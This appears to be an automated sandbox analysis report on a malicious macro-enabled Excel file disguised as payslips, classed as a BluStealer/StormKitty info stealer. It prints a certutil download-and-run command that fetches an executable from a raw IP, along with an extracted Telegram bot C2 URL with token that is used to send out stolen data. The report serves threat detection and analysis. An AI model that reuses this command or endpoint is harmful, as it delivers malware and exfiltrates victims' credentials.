Analysis

  • max time kernel
    153s
  • max time network
    166s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    19-10-2022 13:16

General

  • Target

    Payslips - Week Ending 19 October 2022.xlsm

  • Size

    42KB

  • MD5

    4cdbf369aea35107af766f0c4a928dc2

  • SHA1

    657b4e5c370ace1326b311d251d77bb3dec8a64b

  • SHA256

    ce4298647b014560cc454b87587301f11ffe7478170e7de2af59705ddf87ecc6

  • SHA512

    54407c6c226d4eba55a0afea35456224a1a9da8742c668810f0e29b112e4364ca7bff1df22257fcf21a9820a1e6e19104cf330c92e5fa5183c26340a8490c912

  • SSDEEP

    768:gvDsavqssnHOBIJYfTH+niSpyvDHrdv+nWxFFiKk/f+qtmUEURC+nQHwSrH:gvLvqTHOG1BaTrdv+KFFi3/Gq09UHQHH

Malware Config

Extracted

Family

blustealer

C2

https://api.telegram.org/bot5576673774:AAF__hFRh9bcJV72HkFb-9eZR9JNNyuOmFM/sendMessage?chat_id=1194722650

Signatures

  • BluStealer

    A Modular information stealer written in Visual Basic.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Payslips - Week Ending 19 October 2022.xlsm"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1836
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c certutil.exe -urlcache -split -f "http://80.76.51.142/nod/Payslips%20-%20Week%20Ending%2019%20October%202022.exe" Zhnyoizqxyxvv.exe.exe && Zhnyoizqxyxvv.exe.exe
      2⤵
      • Process spawned unexpected child process
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1472
      • C:\Windows\SysWOW64\certutil.exe
        certutil.exe -urlcache -split -f "http://80.76.51.142/nod/Payslips%20-%20Week%20Ending%2019%20October%202022.exe" Zhnyoizqxyxvv.exe.exe
        3⤵
          PID:1488
        • C:\Users\Admin\Documents\Zhnyoizqxyxvv.exe.exe
          Zhnyoizqxyxvv.exe.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:328
          • C:\Users\Admin\Documents\Zhnyoizqxyxvv.exe.exe
            "C:\Users\Admin\Documents\Zhnyoizqxyxvv.exe.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:384
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
              5⤵
              • Accesses Microsoft Outlook profiles
              • Checks processor information in registry
              • Suspicious use of AdjustPrivilegeToken
              • outlook_office_path
              • outlook_win_path
              PID:336

    Network

    MITRE ATT&CK Enterprise v6

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    Downloads

    • C:\Users\Admin\Documents\Zhnyoizqxyxvv.exe.exe

      Filesize

      881KB

      MD5

      4b28d8e218f5dfe20541b32fca297074

      SHA1

      a5b715011f2bd3229e3acf3d88131a61043eba1a

      SHA256

      ecd2c1eb9e0c374746d9148a15db8deb551d46d3c45bd075e7928b1f3210f4bc

      SHA512

      04fac1bf2cb45ea967ddf9e5cf34fc1582b094fd0d0423ba6f56e889fb9e58b6b85f848201855446f540de19b8665fef1bc5d5f07face17955682cbcad4707ac

    • C:\Users\Admin\Documents\Zhnyoizqxyxvv.exe.exe

      Filesize

      881KB

      MD5

      4b28d8e218f5dfe20541b32fca297074

      SHA1

      a5b715011f2bd3229e3acf3d88131a61043eba1a

      SHA256

      ecd2c1eb9e0c374746d9148a15db8deb551d46d3c45bd075e7928b1f3210f4bc

      SHA512

      04fac1bf2cb45ea967ddf9e5cf34fc1582b094fd0d0423ba6f56e889fb9e58b6b85f848201855446f540de19b8665fef1bc5d5f07face17955682cbcad4707ac

    • C:\Users\Admin\Documents\Zhnyoizqxyxvv.exe.exe

      Filesize

      881KB

      MD5

      4b28d8e218f5dfe20541b32fca297074

      SHA1

      a5b715011f2bd3229e3acf3d88131a61043eba1a

      SHA256

      ecd2c1eb9e0c374746d9148a15db8deb551d46d3c45bd075e7928b1f3210f4bc

      SHA512

      04fac1bf2cb45ea967ddf9e5cf34fc1582b094fd0d0423ba6f56e889fb9e58b6b85f848201855446f540de19b8665fef1bc5d5f07face17955682cbcad4707ac

    • \Users\Admin\Documents\Zhnyoizqxyxvv.exe.exe

      Filesize

      881KB

      MD5

      4b28d8e218f5dfe20541b32fca297074

      SHA1

      a5b715011f2bd3229e3acf3d88131a61043eba1a

      SHA256

      ecd2c1eb9e0c374746d9148a15db8deb551d46d3c45bd075e7928b1f3210f4bc

      SHA512

      04fac1bf2cb45ea967ddf9e5cf34fc1582b094fd0d0423ba6f56e889fb9e58b6b85f848201855446f540de19b8665fef1bc5d5f07face17955682cbcad4707ac

    • \Users\Admin\Documents\Zhnyoizqxyxvv.exe.exe

      Filesize

      881KB

      MD5

      4b28d8e218f5dfe20541b32fca297074

      SHA1

      a5b715011f2bd3229e3acf3d88131a61043eba1a

      SHA256

      ecd2c1eb9e0c374746d9148a15db8deb551d46d3c45bd075e7928b1f3210f4bc

      SHA512

      04fac1bf2cb45ea967ddf9e5cf34fc1582b094fd0d0423ba6f56e889fb9e58b6b85f848201855446f540de19b8665fef1bc5d5f07face17955682cbcad4707ac

    • memory/328-74-0x0000000000AB0000-0x0000000000ABC000-memory.dmp

      Filesize

      48KB

    • memory/328-69-0x0000000001170000-0x0000000001252000-memory.dmp

      Filesize

      904KB

    • memory/328-76-0x0000000001140000-0x000000000116A000-memory.dmp

      Filesize

      168KB

    • memory/328-75-0x0000000000580000-0x0000000000600000-memory.dmp

      Filesize

      512KB

    • memory/328-71-0x0000000000660000-0x0000000000678000-memory.dmp

      Filesize

      96KB

    • memory/336-95-0x0000000000090000-0x00000000000AA000-memory.dmp

      Filesize

      104KB

    • memory/336-97-0x0000000000090000-0x00000000000AA000-memory.dmp

      Filesize

      104KB

    • memory/336-90-0x0000000000090000-0x00000000000AA000-memory.dmp

      Filesize

      104KB

    • memory/336-92-0x0000000000090000-0x00000000000AA000-memory.dmp

      Filesize

      104KB

    • memory/384-86-0x0000000000400000-0x0000000000422000-memory.dmp

      Filesize

      136KB

    • memory/384-100-0x0000000000400000-0x0000000000422000-memory.dmp

      Filesize

      136KB

    • memory/384-99-0x0000000000400000-0x0000000000422000-memory.dmp

      Filesize

      136KB

    • memory/384-77-0x0000000000400000-0x0000000000422000-memory.dmp

      Filesize

      136KB

    • memory/384-78-0x0000000000400000-0x0000000000422000-memory.dmp

      Filesize

      136KB

    • memory/384-82-0x0000000000400000-0x0000000000422000-memory.dmp

      Filesize

      136KB

    • memory/384-80-0x0000000000400000-0x0000000000422000-memory.dmp

      Filesize

      136KB

    • memory/1836-73-0x00000000720DD000-0x00000000720E8000-memory.dmp

      Filesize

      44KB

    • memory/1836-72-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1836-54-0x000000002FD61000-0x000000002FD64000-memory.dmp

      Filesize

      12KB

    • memory/1836-60-0x00000000008FA000-0x00000000008FE000-memory.dmp

      Filesize

      16KB

    • memory/1836-59-0x00000000008FA000-0x00000000008FE000-memory.dmp

      Filesize

      16KB

    • memory/1836-58-0x0000000075C51000-0x0000000075C53000-memory.dmp

      Filesize

      8KB

    • memory/1836-57-0x00000000720DD000-0x00000000720E8000-memory.dmp

      Filesize

      44KB

    • memory/1836-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1836-55-0x00000000710F1000-0x00000000710F3000-memory.dmp

      Filesize

      8KB